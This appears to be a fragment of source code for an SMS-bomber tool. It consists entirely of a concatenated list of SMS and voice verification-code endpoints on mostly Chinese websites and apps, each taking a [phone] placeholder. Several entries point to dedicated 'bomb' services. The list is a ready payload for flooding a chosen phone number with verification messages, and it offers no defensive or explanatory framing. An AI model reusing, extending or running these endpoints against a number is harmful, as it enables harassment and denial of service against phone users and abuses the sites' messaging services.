"http://www.52gcc.com/bomb/index.php?hm=[phone]", + "http://www.52tanbao.com/tanbao-app-api/SendValidCode?telephone=[phone]", + "http://www.7881.com/img_valid.jsp?param=1557302312619&t=0&phone=act=reg&captcha=[phone]", + "http://www.900index.com/api.php?a=sendsms&m=index&mobile=http://wjy138.haodai26.cn/sms.php?tel=[phone]", + "http://www.900index.com/api.php?a=sendsms+m=index+mobile=[phone]", + "http://www.97sq.com/dx/index.php?hm=[phone]", + "http://www.98xianyou.com/passport/sign/code.html?mobile=[phone]", + "http://www.ahtba.org.cn/Registration/SendSms?phone=[phone]", + "http://www.ahtba.org.cn/Registration/SendSms?phone=[phone]&_=1570683350704", + "http://www.aipai.com/app/www/apps/ums.php?step=ums&mobile=[phone]", + "http://www.aipai.com/app/www/apps/ums.php?step=ums&mobile=[phone]&callback=jQuery17209171715653229815_1599374652809&_=1599374671117", + "http://www.aipai.com/app/www/apps/ums.php?step=ums&mobile=[phone]", + "http://www.aipai.com/app/www/apps/ums.php?step=ums&mobile=[phone]&callback=jQuery17209171715653229815_1599374652809&_=1599374671117", + "http://www.appbesafe.com/htourist/sendPhoneMessageZc?phone=[phone]&type=1", + "http://www.appbesafe.com/htourist/sendPhoneMessageZc?phone=[phone]&type=1", + "http://www.baixing.com/m/oz/verify/?fromS9=1&identity=[phone]&mobile=[phone]", + "http://www.baixing.com/m/oz/verify/?fromS9=1&identity=[phone]&mobile=[phone]", + "http://www.baixing.com/oz/verify/reg?mobile=[phone]", + "http://www.baixing.com:80/m/oz/verify/reg?mobile=[phone]", + "http://www.bjoil.com/bjoil/member/mobileVerify.action?tamp=1479798866609/bjoil/member/mobileVerify.action?tamp=1479798866609/bjoil/member/mobileVerify.action?tamp=1479798866609&mobile=[phone]", + "http://www.booms.ga/index.php?hm=[phone]", + "http://www.booms.ga/mini/index.php?hm=[phone]", + "http://www.cgv.com.cn/mem/getRegCapCha.fo?MOBILE_NO=[phone]", + "http://www.chaojidaogou.com/MsgHandler.ashx?t=sendcode&phone=[phone]", + "http://www.chaojitao.cn/index.php?act=login&op=send_reg_sms&f=reg&mobile=[phone]", + "http://www.chatm.com/userInfo/smsCode?mobilephone=[phone]", + "http://www.cmpassport.com/openapi/sendDynaPwd?account=[phone]", + "http://www.csc108.com/mobile/sendRandomNum.json?mobile=[phone]", + "http://www.cshixi.com/api/sendCode?username=[phone]", + "http://www.csti.cn/uums-user-front/api/user/register/phone/send?phone=[phone]", + "http://www.dangaoss.com/h5/acc/send_code?_t=1552475308&sign=424064b2d2d003d83db05380438824cb&username=[phone]", + "http://www.dangaoss.com/h5/acc/send_code?_t=1552475308&sign=424064b2d2d003d83db05380438824cb&username=[phone]", + "http://www.daquant.com/Member/Index/sendcodes?mobile=[phone]", + "http://www.dye-ol.com/code/ValidCode.aspx?r=0.503437238889475&Code=3&UserID=0Mobile=[phone]", + "http://www.e8088.com/index/product/try!phoneVerifyCode.action?tipMessage=[phone]", + "http://www.easgs.cn/app/index.php?i=8&c=entry&do=sms&m=junsion_winaward_plugin_wap&mobile=[phone]", + "http://www.edu-edu.com/cas/web/message/send?phone=[phone]", + "http://www.edu-edu.com/cas/web/message/send?phone=[phone]&isNewPhone=true", + "http://www.ehuu.com/apiv4/clientApicheckPhone?phoneNum=[phone]", + "http://www.eshiptrading.com.cn/api/SMSSafeCode?mobile=[phone]", + "http://www.eyprint.com/include/getcode.php?telnum=[phone]", + "http://www.faka866.com/index/checkuser?Mobile=[phone]&act=sj_reg_telma&t=1589617288409", + "http://www.fcbox.com/noshiro/retrievePhoneMessagePreventAttacks?mobilePhone=[phone]&smsType=5", + "http://www.fcbox.com/noshiro/retrievePhoneMessagePreventAttacks?mobilePhone=[phone]&smsType=5", + "http://www.flyertea.com/plugin.php?id=dzapp_mobile&mod=ajax&ac=code&type=reg&inajax=1&formhash=e55ad49c&mobile=[phone]", + "http://www.flyertea.com/plugin.php?id=dzapp_mobile&mod=ajax&ac=code&type=reg&inajax=1&formhash=e55ad49c&mobile=[phone]", + "http://www.gangaimall.com/mbb-web/api/account/code?mobile=[phone]&type=0", + "http://www.gangaimall.com:80/mbb-web/api/account/code?mobile=[phone]&type=0", + "http://www.gmmc.com.cn/ajax/H5Handler.ashx?method=SendH5VerCode&mobile=[phone]", + "http://www.gmsweipai.com/gms/api/common/[phone]", + "http://www.gmsweipai.com/gms/api/common/[phone]/requestsms/5?mchCode=861913032338784", + "http://www.haoyin.com/message/sendMessage.htm?phone=[phone]", + "http://www.happigo.com/shop/index.php?act=login&op=send_auth_code&mobile=[phone]", + "http://www.happigo.com/shop/index.php?act=login&op=send_auth_code&mobile=[phone]", + "http://www.henhuoapp.com/api/method/getCode?phone=[phone]", + "http://www.henhuoapp.com/api/method/getCode?phone=[phone]&type=1", + "http://www.hongzhoukan.com/ajax/check_tel_reg.php?mobile=[phone]", + "http://www.humengyun.com/index.php?a=login&m=sendSMS&mobile=[phone]&_=1480986460007", + "http://www.humengyun.com/index.php?a=login&m=sendSMS&mobile=[phone]&_=1480986460007", + "http://www.huobiao.cn/core/login/get_code_snv?jsonpcallback=jQuery22408161556854897054_1570699976143&phone=[phone]", + "http://www.huobiao.cn/core/login/get_code_snv?jsonpcallback=jQuery22408161556854897054_1570699976143&phone=[phone]&_=1570699976144", + "http://www.hx2car.com/mobile/loginCode.json?code=d889c6084be2613b8ed976d2336bc53a&devicetoken=0FAEEA4E-B279-4409-93A6-05B4EDE49DE8&phoNum=[phone]", + "http://www.hyb100.com/huoyb/vc10001.action?userid=[phone]&ic10000=", + "http://www.hzrc.com/ww/b/a/wwba_sendMobileCode.html?phone= [phone]", + "http://www.hzrc.com/ww/b/a/wwba_sendMobileCode.html?phone=[phone]", + "http://www.ind4.net/pc/member/sendRegisterSms.do?phoneNumber=[phone] &_=1502021540432", + "http://www.jiedai315.com/SendCode.ashx?Mobile=[phone]&Identifier=6", + "http://www.jiedai315.com/SendCode.ashx?Mobile=[phone]&Identifier=6", + "http://www.jiqinging.com/ajax.php?do=getCheckCode&tel=[phone]", + "http://www.jiqinging.com/ajax.php?do=getCheckCode&tel=[phone]", + "http://www.jiqinging.com/ajax.php?do=getCheckCode+tel=[phone]", + "http://www.jsvideo.tv/sendMsg&type=1 mobile=[phone]", + "http://www.jsvideo.tv/sendMsg?phone=[phone]", + "http://www.jxxw.com.cn/app/user/sendLoginCode?username=[phone]", + "http://www.jxxw.com.cn/app/user/sendLoginCode?username=[phone]&sign=572bf336d708a2b8b655ea05872cb596", + "http://www.kl.cc/User/RegSendMobilMail?t=[phone]", + "http://www.ksdao.com/sendMsgCode?mobile=[phone]", + "http://www.lecake.com/customer/get-code.html?yzm=10000&mobile=[phone]&_=1551173567939", + "http://www.lecake.com/customer/get-code.html?yzm=10000&mobile=[phone]", + "http://www.loho88.com/activ_check_mobile.php?activ_id=67&activ_type=mis&part_id=body_1_4&goods_id=100&is_new_customers_allow=0&phone=[phone]", + "http://www.loho88.com/activ_check_mobile.php?activ_id=67&activ_type=mis&part_id=body_1_4&goods_id=100&is_new_customers_allow=0&phone=[phone]", + "http://www.longone.com.cn/servlet/user/Register?&function=AjaxGetPin1&mo= [phone]", + "http://www.longone.com.cn/servlet/user/Register?&function=AjaxGetPin1&mo=[phone]", + "http://www.lxzbsjsm.com/auth/smscode.ashx?action=vd&aid=5813&mb=[phone]", + "http://www.meisupic.com/user.php?act=ajax_validate_sms&bizcode=11&captcha=type=5&mobile=[phone]", + "http://www.mgff.com/passport/send_mobile_yzm?mobile=[phone]", + "http://www.milvwang.com/user/isRegister/?mobile_phone=[phone]", + "http://www.mzsky.cc/plugin.php?id=smstong:verifycode&idhash=SJw54jL0&formhash=82e4ff11&seccodeverify=&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=getregverifycode&mobile=[phone]&0.7010368446838822", + "http://www.mzsky.cc/plugin.php?id=smstong:verifycode&idhash=SJw54jL0&formhash=82e4ff11&seccodeverify=&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=getregverifycode&mobile=[phone]&0.7010368446838822", + "http://www.patfun.com/do.php?ac=check_sms&phone=[phone]", + "http://www.patfun.com/do.php?ac=check_sms&phone=[phone]", + "http://www.plaso.cn/plaso/servlet/randomCode?0.47652275536418554&type=loginrandom=[phone]", + "http://www.pumg.com.cn/phone.do?USERTEL=&token=bZnQLILMeWM8EF57AsIxdhwWOYyUAzSdLGLdb%2FIcj5TxIUMmRFcqAQ%3D%3D&type=0&flag=0×tamp=1548589939708telphone=[phone]", + "http://www.pureyeah.com/public/api/auth/getVerificationCode?mobile=[phone]&dispatch=", + "http://www.puyitou.com/service.html?SERVERID=770010&BIZ_CODE=REG_PHONE_CODE&PHONE_NUM=[phone]&SEND_TYPE=2", + "http://www.puyitou.com/service.html?SERVERID=770010&BIZ_CODE=REG_PHONE_CODE&PHONE_NUM=[phone]&SEND_TYPE=2", + "http://www.qdnks.com/default/user/getvlcode &purpose=register act=get_verify&user_name=[phone]", + "http://www.qmango.com/users/ajax/ajax_register_code.asp?_=1487743660579&mobile=[phone]", + "http://www.qmango.com/users/ajax/ajax_register_code.asp?_=1487743660579&mobile=[phone]", + "http://www.reedoun.com/os/user/getCode?mobile=[phone]&type=1", + "http://www.rrjc.com/sendVoiceCodeByType.do?username=[phone]", + "http://www.rrjc.com/sendVoiceCodeByType.do?username=[phone]&regType=1&v_module=toNoviceRegistered", + "http://www.sbsq.aliwe.com/index.php?s=%2Fapi%2Fmobile_verify_code_get_request%2Findex2&mobile=[phone]&type=register&sign=999eb3cf7e7998d07b78e21884433f74", + "http://www.sbsq.aliwe.com/index.php?s=/api/mobile_verify_code_get_request/index2&mobile=[phone]&type=register&sign=999eb3cf7e7998d07b78e21884433f74", + "http://www.shdsyy.com.cn/web/index.php?classid=9191&action=call&phone=[phone]", + "http://www.shdsyy.com.cn/web/index.php?classid=9191&action=call&phone=[phone]", + "http://www.shengjob.com/Resume/PhoneCode_Tem.aspx?Phones=[phone]", + "http://www.sk-vip.cn/index.php?m=&c=page&a=yunhu&phone=[phone]", + "http://www.songhebao.com/serv/api/member/GetSMSCode.ashx?phone=[phone]", + "http://www.songhebao.com/serv/api/member/GetSMSCode.ashx?phone=[phone][phone]&lx=1", + "http://www.suicunsuiqu.com/front/account/verifyMobileReg?mobile=[phone]", + "http://www.super8.com.cn/Ajax/HotelInterface.ashx?action=sendmsg&mobile=[phone]", + "http://www.super8.com.cn/Ajax/HotelInterface.ashx?action=sendmsg&mobile=[phone]", + "http://www.taoguba.com.cn/sendCodePC?codeType=ZCYZ+phoneNumber=[phone]", + "http://www.tell520.com:80/ajax/do.html?action=sendSms&type=reg&YII_CSRF_TOKEN&phone=[phone]=a70ca68498d9489dbe88e141ba49751267896313", + "http://www.tell520.com:80/ajax/do.html?action=sendSms&type=reg&YII_CSRF_TOKEN&phone=[phone]", + "http://www.ttpai.cn/signup/success?mobile=[phone]", + "http://www.txooo.com/Txooo/Main/Busine**屏蔽敏感词**equirement/Ajax/Busine**屏蔽敏感词**equirementAjax.ajax/SendMobileCode?mobile=[phone]", + "http://www.txooo.com/Txooo/Main/BusinessRequirement/Ajax/BusinessRequirementAjax.ajax/SendMobileCode?mobile=[phone]", + "http://www.udache.com/app/mQuickReg/getSmsCode?phone=[phone]", + "http://www.upshop.cn/Home/User/registerSendCode.html?mobile=[phone]", + "http://www.v5kf.com/member/index/ajax_get_sms_code?mobile=[phone]", + "http://www.v5kf.com/member/index/ajax_sms_code?mobile=[phone]", + "http://www.variflight.com/login/reg/sendSms?AE71649A58c77&phone=[phone]", + "http://www.vatti.com.cn/index.php?m=Home&c=Api&a=[phone]", + "http://www.wandafilm.com/login.do?m=sendSms?mobile=[phone]", + "http://www.wehealthchina.net/api/v0.1/vcode?app=doctor&client=android&action=register&phone=[phone]", + "http://www.wehealthchina.net/api/v0.1/vcode?app=doctor&client=android&action=register&phone=[phone]", + "http://www.weimaiyy.com/register/sms?t=0.6886729517940704&phone=[phone]", + "http://www.weloan.com/front/account/verifyMobile?mobile=[phone]", + "http://www.wfggw.com/getcode.asp?num=[phone]&_=1480403250456", + "http://www.wfggw.com/getcode.asp?num=[phone]&_=1480403250456", + "http://www.wish3d.com/chitAppValidate.action id=[phone]", + "http://www.wjask.com/wj/req_phone_code&tem=register Mobile=[phone]", + "http://www.xd.com/users/sendWebRegCode?callback=jQuery110208424835141365408_1600270044866&mobile=[phone]", + "http://www.xjwvxz.com/api/call/index?user_id=244127&auth_key=c602e6ebb2311895b922d5bef854dc87&type=c&proxy_id=148455&phones=[phone]", + "http://www.xjwvxz.com/api/call/index?user_id=244127&auth_key=c602e6ebb2311895b922d5bef854dc87&type=c&proxy_id=148455&phones=[phone]", + "http://www.xlcidc.com/chkName.asp?umobie=[phone]", + "http://www.xlcidc.com/chkName.asp?umobie=[phone]&lm=sendmobi&sd=0.5806221691630391", + "http://www.xlcidc.com/chkName.asp?umobie=[phone]&lm=sendmobi&sd=0.5806221691630391", + "http://www.xuebangsoft.net/eduboss/CommonAction/sendVarifyCodeToPhone.do?phoneNumber=[phone]®TimeCode=1589627585503", + "http://www.xyqb.com/LKB/lg/sendSms.html?random=&loginName=[phone]", + "http://www.xyqb.com/LKB/lg/sendSms.html?random=&loginName=[phone]", + "http://www.yifatong.com/Customers/gettsms?rnd=1570443327.103&mobile=[phone]", + "http://www.yigongkeji.cc/mobile/weixiu/view/member/getSmsCode?mobile=[phone]", + "http://www.youmw.top/tool/dxhz/?hm=[phone]", + "http://www.youmw.top/tool/dxhz/?hm=[phone]&ok=", + "http://www.youxia.cn/go/index.php?mod=account&code=getRandCode&pic_code=undefined&phone=[phone]", + "http://www.zhichiwangluo.com/index.php?r=Login/phoneResetCode&phone=[phone]", + "http://www.zhichiwangluo.com/index.php?r=Login/phoneResetCode&phone=[phone]", + "http://www.zhiguker.com/index/user/regYzm?phone=[phone]", + "http://www.zjzxts.gov.cn/sendMsg.do?modelMethod=sendMessage&phonenum=[phone]", + "http://www.zjzxts.gov.cn/sendMsg.do?modelMethod=sendMessage&phonenum=[phone]", + "http://www.zoneidc.com/user/sendmobi.asp?mobi=[phone]", + "http://www.zsbox.net/api/call/index?user_id=244127&auth_key=c602e6ebb2311895b922d5bef854dc87&type=c&proxy_id=148455&phones=[phone]", + "http://www.zuoyebang.com:80/session/pc/sendtoken?ajax&phone=[phone]&sendType=1&tokenType=6&_t_=1573784070671&os=pcweb&appId=homework&channel=&plat=wap&cType=pc&fr=&lastfrom=&name=JC_C2_3_20100", + "http://www.zuoyebang.com:80/session/pc/sendtoken?ajax&phone=[phone]", + "http://www25c1.53kf.com/impl/rpc_callback_phone.php?from=api&company_id=72204003&guest_id=11199824994006&style=1&from_page=https%3A%2F%2Fwww.baidu.com%2Flink%3Furl%3D3RHZQYd7M-TF4MUvr7tQD4xVSYxHv_IWj2SbNAAdoKtf_Xk51H_avXcuoOtSQIe96CW0u5SYUWmlZJPnQXRVka%26wd%3D%26eqid%3D9f6d04a1000e3ecf000000065fb824c2&talk_page=http%3A%2F%2Fwww.yueshi-edu.com%2Fvxueli%2Fsz%2F5762.html&land_page=http%253A%252F%252Fwww.yueshi-edu.com%252Fvxueli%252Fsz%252F5762.html&call=[phone]", + "http://wx.bda.com/ajax/ajax_login.php?action=[phone]", + "http://wx.imlaidian.com/testapi/authCodeGet?callback=jQuery1113009964326163753867_1483628589051&mobile=[phone]", + "http://wx01.lecake.com/customer/get-code.html?mobile=[phone]", + "http://wx01.lecake.com/customer/get-code.html?mobile=[phone]&yzm=148323267", + "http://xinweixin.11183.com.cn/youzheng/login/security?phone=[phone]", + "http://yangba.syoogame.com/ajax/sendMobileVerifyCode?mobile=[phone]", + "http://yinyu.leanapp.cn/tools/getNum?&phone=[phone]&sign=4ee234df92d36632c5a7082399b9890a&timestamp=1567136457", + "http://yueban.500zhuan.com/tools/getNum?&phone=[phone]&sign=20f2f798a813a8115f5a837c7cad140b&timestamp=1566033453", + "http://yueban.500zhuan.com/tools/getNum?&phone=[phone]", + "http://yunrg3866.xahost.yunrg.com/api.php?act=user&key=hz&phone=[phone]", + "http://z.7qi.me/index.php?call=[phone]&ok=", + "http://z.7qi.me/index.php?call=[phone]&ok=", + "http://zaiwai.8848.com/commonService/findMessageToken?phone=[phone]", + "http://zaiwai.8848.com/commonService/sendNewVerificationCodeToPhone?phone=[phone]", + "http://zaiwai.8848.com/commonService/sendNewVerificationCodeToPhone?phone=[phone]&isNewUser=1&messagePassWord=50BF9B170BC3FFD3F1F0C8E113DA88E6ADAF75D364508DB8969BA8928249E4CCD0AE01A96E8E435EDA7B5E7BB28F9D584BA1CEE44BC02D41C21D8DF04604A225", + "http://zgtv.spo38.igeek.gq/aip/index3.php?hm=[phone]", + "http://zhibo.zuoyebang.com/elearning/index/sendapplytoken?phone=[phone]", + "http://zhibo.zuoyebang.com/elearning/index/sendapplytoken?phone=[phone]&_=1535534872440", + "http://zhuikanxs.com/novelapilogin/sendsms?phone=[phone]", + "http://zhuikanxs.com/novelapilogin/sendsms?phone=[phone]&idfa=5C351103-F887-4932-BC59-58C75875EFDE&package=sxrqowww.com&version=1.6.9&token=384e798aee87f24f4a228a41df049e27&type=1&timestamp=1567400876&sign=9726d9876bd9e1bbc5667eeadd28e42b", + "http://zntouzi.com/front/account/verifyMobileForReg?randomID=d2b07acd-917c-4d81-a849-9c694f25833b&code=111111&mobile=[phone]", + "http://zntouzi.com/front/account/verifyMobileForReg?randomID=d2b07acd-917c-4d81-a849-9c694f25833b&code=111111&mobile=[phone]", + "https://account.perfma.com/api/login/authentication/v1/picCaptcha?2&phoneCaptcha=[phone]", + "https://androidapi4.yc.ifeng.com:443/api/fread/user/msgAuthCode?phoneNum=[phone]", + "https://androidapi4.yc.ifeng.com:443/api/fread/user/msgAuthCode?phoneNum=[phone]&v=5.5.32.83027", + "https://api-dcdn.jiayouxueba.cn/api/v3/sms/vcode?countryId=685&mobile=[phone]", + "https://api-dcdn.jiayouxueba.cn/api/v3/sms/vcode?countryId=685&mobile=[phone]&sign=d012c7dbfeba6014a28b9093156cd52d&ts=1565428712975901&type=1", + "https://api-dcdn.jiayouxueba.cn/api/v3/sms/vcode?countryId=685&mobile=[phone]", + "https://api-v5-0.yangcong345.com/captchas/v4.8?phone=[phone]&code=CN&type=codeVerify", + "https://api.aihecong.com/account/vercode?type=register&antiBrush=ecdfddd24937106ex&callback=JSONP_1580388414994&tel=[phone]", + "https://api.aihecong.com/account/vercode?type=register&antiBrush=ecdfddd24937106ex&callback=JSONP_1580388414994&tel=[phone]", + "https://api.bat100.net/v1/authority/sms/send-sms?tel=[phone]", + "https://api.bat100.net/v1/authority/sms/send-sms?tel=[phone]&smsType=2", + "https://api.dongqiudi.com/v3/useract/app/user/postGottenlCode?phone=[phone]&requestTime=1596183059901", + "https://api.guanggao.com/user/sendcheckcode?mobile=[phone]&val=&type=0&platform=Android", + "https://api.intsig.net/user/cs/send_emailsms_with_verify?account=[phone]&account_type=mobile&area_code=86&client_app=CamScanner_IP_FREE%405.12.1.1907311855&device_id=4f06e7989623c84b4c88dddc46724ea2&language=zh-cn&type=login_via_vcode", + "https://api.intsig.net/user/cs/send_emailsms_with_verify?account=[phone]&account_type=mobile&area_code=86&client_app=CamScanner_IP_FREE@5.12.1.1907311855&device_id=4f06e7989623c84b4c88dddc46724ea2&language=zh-cn&type=login_via_vcode", + "https://api.julym.com/hz/api.html?number=[phone]", + "https://api.passport.pptv.com/snsms/sendcode?_source=ppsports&apptype=android&appversion=1.0.7.1&deviceId=7433976558071546231901338_vx768bn3ieimjk1n3g5opc7w&terminal=APP&phoneNumber=[phone]&channel=208000202030&format=json&", + "https://api.passport.pptv.com/snsms/sendcode?_source=ppsports&apptype=android&appversion=1.0.7.1&deviceId=7433976558071546231901338_vx768bn3ieimjk1n3g5opc7w&terminal=APP&phoneNumber=[phone]", + "https://api.pkg.cn/api/sms/codeaccNbr=[phone]", + "https://api.rrsjk.com/oauth2/sms/send_vertify_code.do?mobile=[phone]&captcha=&captcha_id=", + "https://api.sharkshopping.com/ec/api?method=b2c.member2.related_sms&uname=[phone]&type=1", + "https://api.sharkshopping.com/ec/api?method=b2c.member2.related_sms&uname=[phone]", + "https://api.taoelement.vip/account/sms/sms/captcha/[phone]", + "https://api.taoelement.vip/account/sms/sms/captcha/[phone]/mineTker", + "https://api.taoelement.vip:443/account/sms/sms/captcha/[phone]", + "https://api.taoelement.vip:443/account/sms/sms/captcha/[phone]/mineTker", + "https://api.wanwudezhi.com/module-user/api/v1/user/sendSmsCode?phone=[phone]", + "https://apis.hyguanjia.com/user/send/phone/code?clientid=1254299999&mid=1E0D9617-438F-4A0D-BED0-AEB20FF19A50&phone=[phone]&sign=jBvhDrZ6SlcNzwkCx6SIhwkLtCZZ1GCCjvPj%24%24QD8balMbMtSRigOLwJkGjU%40%40PIsjj1rTgAEWBZDHlnw3%40%40Yrg9qGdwvb5Qv4euoCCHNExqXAGhb", + "https://apis.hyguanjia.com/user/send/phone/code?clientid=1254299999&mid=1E0D9617-438F-4A0D-BED0-AEB20FF19A50&phone=[phone]&sign=jBvhDrZ6SlcNzwkCx6SIhwkLtCZZ1GCCjvPj%2524%2524QD8balMbMtSRigOLwJkGjU%2540%2540PIsjj1rTgAEWBZDHlnw3%2540%2540Yrg9qGdwvb5Qv4euoCCHNExqXAGhb", + "https://apis.hyguanjia.com/user/send/phone/code?clientid=1254299999&mid=1E0D9617-438F-4A0D-BED0-AEB20FF19A50&phone=[phone]", + "https://app-api.shop.ele.me/arena/invoke/?method=OpenAPIRegisterService.sendVerifyCode&site_id=gw_Cloudgame&geetest_challenge=&geetest_validate=&geetest_seccode=&reportData=number=[phone]", + "https://app.api.ke.com/user/account/sendverifycodeforbindmobilev2?mobile_phone_no=[phone]", + "https://app.api.ke.com/user/account/sendverifycodeforbindmobilev2?mobile_phone_no=[phone]&request_ts=1564116332", + "https://app.api.lianjia.com/user/account/sendVerifyCodeForRegisterV2?mobile_phone_no=[phone]", + "https://app.api.lianjia.com/user/account/sendVerifyCodeForRegisterV2?mobile_phone_no=[phone]&request_ts=1564114069", + "https://app.aplum.com/user/sendmsg?fromApp=1&phone=[phone]", + "https://app.aplum.com/user/sendmsg?fromApp=1&phone=[phone]", + "https://app.fangzongguan.com/fangmaster/v4.2/client/quick/user/sendCode?_token=eC1fn3C3WKrzkaIYM2EUYw%3D%3D&phone=[phone]&tag=yhoQ9arXKRk3AqpwPGwklOAb/ghFcjxlx0uZNXuiOhXg6sItA%2BuIMWLFLQzyVfRCP1db%2B11CZSVvwzQvNR8xKgpkH2h9VTHRHAPTgHMWw6q5e1SYTdcMB4er6KEEPEDzFU2yJ3N", + "https://app.fangzongguan.com/fangmaster/v4.2/client/quick/user/sendCode?_token=eC1fn3C3WKrzkaIYM2EUYw%3D%3D&phone=[phone]", + "https://app.fangzongguan.com/fangmaster/v4.2/client/quick/user/sendCode?_token=eC1fn3C3WKrzkaIYM2EUYw==&phone=[phone]&tag=yhoQ9arXKRk3AqpwPGwklOAb/ghFcjxlx0uZNXuiOhXg6sItA+uIMWLFLQzyVfRCP1db+11CZSVvwzQvNR8xKgpkH2h9VTHRHAPTgHMWw6q5e1SYTdcMB4er6KEEPEDzFU2yJ3N", + "https://app.fangzongguan.com/fangmaster/v4.2/client/quick/user/sendCode?_token=eC1fn3C3WKrzkaIYM2EUYw==&phone=[phone]", + "https://app.leyou.com.cn/system/sendSms?mobile=[phone]&sign=fb0a624aade8b0e135196025cbc191c2&transtype=reg_m", + "https://app.quyiyuan.com/APP/user/action/LoginAction.jspx?APPOINT_SOURCE=0&CHANNEL_ID=&IMEI_ID=3ECFD13A-235B-47A9-A9E1-F4DCC64D360F&PHONEOPERATINGSYS=2&PHONETYPE=iPhone8,1&PHONEVERSIONNUM=12.4.1&PHONE_NUMBER=[phone]", + "https://app.quyiyuan.com/APP/user/action/LoginAction.jspx?APPOINT_SOURCE=0&CHANNEL_ID=&IMEI_ID=3ECFD13A-235B-47A9-A9E1-F4DCC64D360F&PHONEOPERATINGSYS=2&PHONETYPE=iPhone8,1&PHONEVERSIONNUM=12.4.1&PHONE_NUMBER=[phone]&PUBLIC_SERVICE_TYPE=0&hospitalID=&isRead=1&loc=c&", + "https://app.webuy.ai/greatsale/user/sendAuthCode?mobile=[phone]", + "https://app.zhuanzhuan.com/zz/transfer/getCaptcha?type=1&mobile=[phone]", + "https://appapi.51job.com/api/user/get_verification_type.php?mobilephone=[phone]", + "https://appapi.51job.com/api/user/get_verification_type.php?mobilephone=[phone]&nation=CN&type=0&format=json&guid=56fa5d7a032a8190dd9844ebaa211181&partner=237b12de4c48eacec5a368eb192c3c5e&productname=51job&uuid=e7ab248c2ba73cb851a1eb31aa138695&version=869", + "https://appapi.che168.com/phone/v55/user/CreateRegLoginMobileCode.ashx?_appid=2scapp.ios&_sign=bd185e04d8bdb0422467b0f95f828b49&appversion=7.7.0&channelid=App%20Store&ip=192.168.43.151&mobile=[phone]", + "https://appapi.che168.com/phone/v55/user/CreateRegLoginMobileCode.ashx?_appid=2scapp.ios&_sign=bd185e04d8bdb0422467b0f95f828b49&appversion=7.7.0&channelid=AppStore&ip=192.168.43.151&mobile=[phone]", + "https://appapi.che168.com/phone/v55/user/CreateRegLoginMobileCode.ashx?_appid=2scapp.ios&_sign=bd185e04d8bdb0422467b0f95f828b49&appversion=7.7.0&channelid=App Store&ip=192.168.43.151&mobile=[phone]&udid=5WklXEFrvscsddZR8s3TrLI45Bg0YEW9MkEFqRLSrR1ZKpY81h2wTw8pEHBo", + "https://appapi.che168.com/phone/v55/user/CreateRegLoginMobileCode.ashx?_appid=2scapp.ios&_sign=bd185e04d8bdb0422467b0f95f828b49&appversion=7.7.0&channelid=App%20Store&ip=192.168.43.151&mobile=[phone]&udid=5WklXEFrvscsddZR8s3TrLI45Bg0YEW9MkEFqRLSrR1ZKpY81h2wTw8pEHBo", + "https://appapi.moretickets.com/userapi/pub/v1_1/send_sms_for_regist?cellphone=[phone]", + "https://appapi.moretickets.com/userapi/pub/v1_1/send_sms_for_regist?cellphone=[phone]&code=&isSupportSession=1&src=ios&token=5d3fa06f6d96f74c953459ba&ver=5.1.2", + "https://appbackend.pohoocredit.com/pro-kuaixin-app-backend/app/user/captcha?mobile=[phone]", + "https://appv2.lygou.cc/loyouser/getBindCode?appfrom=203&appver=3.2.2&identity=%2B86[phone]&platform=2&realVer=3.2.2&region=zh-CN&time_zone=28800&type=0&unlogin_token=724767db76a9c95e817d0101be771480&version_code=138", + "https://appv2.lygou.cc/loyouser/getBindCode?appfrom=203&appver=3.2.2&identity=%2B86[phone]", + "https://babyheartapi.ihealthbaby.cn/BabyheartServer/sms/sendMessage?sendType=1&smsType=1&tel=[phone]", + "https://babyheartapi.ihealthbaby.cn/BabyheartServer/sms/sendMessage?sendType=1&smsType=1&tel=[phone]", + "https://bea.sportq.com/SFitWeb/sfit/getNeceData?form.accessToken=&form.acquisitionMode=5&form.device=2e18c9d9f73c9c9f619fce23cf4039eb2748c334cb8d43c31521caee0ad92c4c&form.isBuild=0&form.mySex=&form.phoneModel=iPhone8%2C1&form.phoneNumber=[phone]&form.phoneType=1&fo", + "https://bea.sportq.com/SFitWeb/sfit/getNeceData?form.accessToken=&form.acquisitionMode=5&form.device=2e18c9d9f73c9c9f619fce23cf4039eb2748c334cb8d43c31521caee0ad92c4c&form.isBuild=0&form.mySex=&form.phoneModel=iPhone8,1&form.phoneNumber=[phone]&form.phoneType=1&fo", + "https://bea.sportq.com/SFitWeb/sfit/getNeceData?form.accessToken=&form.acquisitionMode=5&form.device=2e18c9d9f73c9c9f619fce23cf4039eb2748c334cb8d43c31521caee0ad92c4c&form.isBuild=0&form.mySex=&form.phoneModel=iPhone8%2C1&form.phoneNumber=[phone]", + "https://bea.sportq.com/SFitWeb/sfit/getNeceData?form.accessToken=&form.acquisitionMode=5&form.device=2e18c9d9f73c9c9f619fce23cf4039eb2748c334cb8d43c31521caee0ad92c4c&form.isBuild=0&form.mySex=&form.phoneModel=iPhone8,1&form.phoneNumber=[phone]", + "https://cap.caocaokeji.cn/bps/sendVerifyCode/2.0?appCode=2WZ2JRQR708W&appVersion=4.3.2&buildVersion=192&clientType=1&deviceId=5C351103-F887-4932-BC59-58C75875EFDE&fullVersion=4.3.2.192&isJailBreak=0&mobileType=ios&phone=[phone]&sign=FB3ED4C94F2877A29366F19C4A7CED68", + "https://cap.caocaokeji.cn/bps/sendVerifyCode/2.0?appCode=2WZ2JRQR708W&appVersion=4.3.2&buildVersion=192&clientType=1&deviceId=5C351103-F887-4932-BC59-58C75875EFDE&fullVersion=4.3.2.192&isJailBreak=0&mobileType=ios&phone=[phone]", + "https://card.10010.com/ko-order/messageCaptcha/send?phoneVal=[phone]", + "https://cfapi.yaomengwang.cn/local/v1/account/regist/sms?mobile=[phone]", + "https://class.hujiang.com/classtopic/handler/phonecaptcha?areaID=87051&phoneNumber=[phone]", + "https://class.hujiang.com/classtopic/handler/phonecaptcha?areaID=87051&phoneNumber=[phone]&IsAutoReg=true&TopicID=94149&IsPreview=false&__r=1542430774915", + "https://class.hujiang.com/classtopic/handler/phonecaptcha?areaID=87051&phoneNumber=[phone]", + "https://client.cangshuyuedu.com/api/Sys/SendSmsAuthCode?callback=jQuery111009421744498287961_1580993309090&pType=4&app_version=2.0.7&pkgname=com.yokong.bookfree&channel_id=1&device_id=f75c53c90f4a6635d5f6c7136120154d&mob=[phone]&platform=IOS&uid=0&token=bfd31758556", + 